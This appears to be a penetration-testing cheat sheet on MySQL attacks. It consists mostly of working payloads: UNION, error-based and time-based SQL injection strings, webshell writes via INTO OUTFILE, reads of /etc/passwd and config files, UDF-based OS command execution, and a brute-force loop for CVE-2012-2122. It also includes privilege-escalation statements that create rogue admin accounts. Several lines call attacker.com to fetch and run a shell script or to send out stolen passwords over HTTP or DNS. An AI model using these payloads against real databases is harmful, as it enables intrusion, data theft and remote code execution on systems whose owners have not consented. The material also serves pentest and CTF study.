MySQL Security
Exhaustive List of MySQL Vulnerabilities
MySQL Vulnerability Reference
A comprehensive reference of every major MySQL attack vector. Use this as a checklist during database-focused penetration tests and CTF challenges.
Quick Reference Table
| Vulnerability | Severity | Requires | Impact |
|---|---|---|---|
| SQL Injection (UNION) | Critical | Error output visible | Full DB dump |
| Blind Boolean SQLi | Critical | Any injectable param | Full DB dump |
| Time-based Blind SQLi | Critical | Any injectable param | Full DB dump |
| FILE privilege — OUTFILE | Critical | FILE priv + writable dir | Webshell → RCE |
| FILE privilege — LOAD_FILE | High | FILE priv | Sensitive file read |
| UDF Injection | Critical | FILE + INSERT + CREATE priv | OS command execution |
| Authentication Bypass | Critical | Network access | Full DB access |
| Empty/Default Password | Critical | Network access to 3306 | Full DB access |
| Privilege Escalation | High | Low-priv DB user | DBA / OS access |
| Out-of-Band Exfiltration | High | FILE priv + DNS/HTTP | Blind data exfil |
| Error-based SQLi | High | Verbose errors | Data extraction |
| Second-Order SQLi | High | Data stored + reused | Auth bypass, data leak |
| Stored Procedure Abuse | Medium | EXECUTE priv | Escalation, logic bypass |
| Trigger-based Attack | Medium | TRIGGER priv | Persistent backdoor |
| LOAD DATA LOCAL INFILE | High | local_infile=ON | Client file read |
SQL Injection — MySQL Specific Syntax
MySQL has unique SQL syntax that differs from other databases. Understanding these specifics is essential for effective exploitation.
-- MySQL-specific comment styles
SELECT 1-- - /* inline comment */
SELECT 1# /* hash comment — MySQL only */
SELECT 1/*comment*/2
-- MySQL-specific functions useful in SQLi
SELECT user() -- current user
SELECT version() -- MySQL version
SELECT @datadir -- data directory
SELECT @basedir -- base directory
SELECT @hostname -- server hostname
SELECT @global.secure_file_priv -- file restriction
-- Information schema queries
SELECT group_concat(schema_name) FROM information_schema.schemata
SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()
SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users'
-- UNION-based payload template
' UNION SELECT 1,2,3-- -
' UNION SELECT user(),version(),@datadir-- -
Error-based Extraction — MySQL
-- extractvalue() — leaks data in XPATH error
' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -
-- updatexml() — another XPATH error trick
' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)-- -
-- exp() overflow (MySQL 5.5.5+)
' AND exp(~(SELECT * FROM (SELECT version())x))-- -
-- Double query with floor() + rand()
' AND (SELECT 1 FROM(SELECT count(*),concat(version(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
Blind Time-based — MySQL
-- SLEEP() — basic time delay
' AND SLEEP(5)-- -
-- Conditional time-based (extract data char by char)
' AND IF(SUBSTRING(user(),1,1)='r',SLEEP(3),0)-- -
-- Benchmark() — alternative when SLEEP is filtered
' AND BENCHMARK(10000000,MD5('test'))-- -
FILE Operations
-- Read files (requires FILE privilege + secure_file_priv empty)
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php');
-- Write webshell (requires FILE priv + writable web directory)
SELECT '' INTO OUTFILE '/var/www/html/shell.php';
SELECT '' INTO DUMPFILE '/var/www/html/shell.php';
-- Check if FILE is possible
SELECT file_priv FROM mysql.user WHERE user=substring_index(user(),'@',1);
SHOW VARIABLES LIKE 'secure_file_priv'; -- must be empty
UDF (User Defined Functions) — RCE
-- Check plugin directory
SHOW VARIABLES LIKE 'plugin_dir';
-- Upload malicious .so (Linux) or .dll (Windows)
SELECT 0x[hex_of_udf_binary] INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
-- Create UDF function
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so';
-- Execute OS command
SELECT sys_exec('id > /tmp/out');
SELECT sys_exec('curl http://attacker.com/shell.sh | bash');
Out-of-Band Exfiltration
-- DNS exfiltration (Windows — UNC path)
SELECT LOAD_FILE(concat('\\\\',(SELECT version()),'.attacker.com\\share'));
-- HTTP via UDF (if sys_exec is available)
SELECT sys_exec(concat('curl "http://attacker.com/?d=', (SELECT password FROM users LIMIT 1), '"'));
-- DNS via MySQL (requires DNS resolution from DB server)
-- Use Burp Collaborator or interactsh to receive
Authentication Bypass CVEs
-- CVE-2012-2122 — memcmp() bypass (MySQL 5.1.x, 5.5.x)
-- Sending wrong password ~256 times could bypass auth
for i in $(seq 1 1000); do mysql -u root --password=wrong -e "SELECT 1" 2>/dev/null && echo "BYPASSED"; done
-- CVE-2016-6662 — arbitrary file creation via mysql config injection
-- CVE-2016-6663/6664 — privilege escalation chain
-- Empty password check
mysql -u root -h target.com -e "SELECT 1"
Privilege Escalation Paths
-- Path 1: Write to mysql.user (requires INSERT on mysql db)
INSERT INTO mysql.user VALUES('localhost','hacker',PASSWORD('pass'),'Y','Y',...);
FLUSH PRIVILEGES;
-- Path 2: Modify existing user via UPDATE
UPDATE mysql.user SET password=PASSWORD('newpass') WHERE user='root';
FLUSH PRIVILEGES;
-- Path 3: Grant via SQL injection in admin context
GRANT ALL ON *.* TO 'webapp'@'%';
-- Path 4: Stored procedure with DEFINER=root
CREATE DEFINER='root'@'localhost' PROCEDURE escalate()
SQL SECURITY DEFINER
BEGIN
GRANT ALL ON *.* TO 'attacker'@'%';
FLUSH PRIVILEGES;
END;
SQLmap Quick Reference: sqlmap -u "URL" --dbms=mysql --dbs → enumerate databases. Add --file-read=/etc/passwd for file read, --os-shell for interactive shell attempt, --technique=T to force time-based only.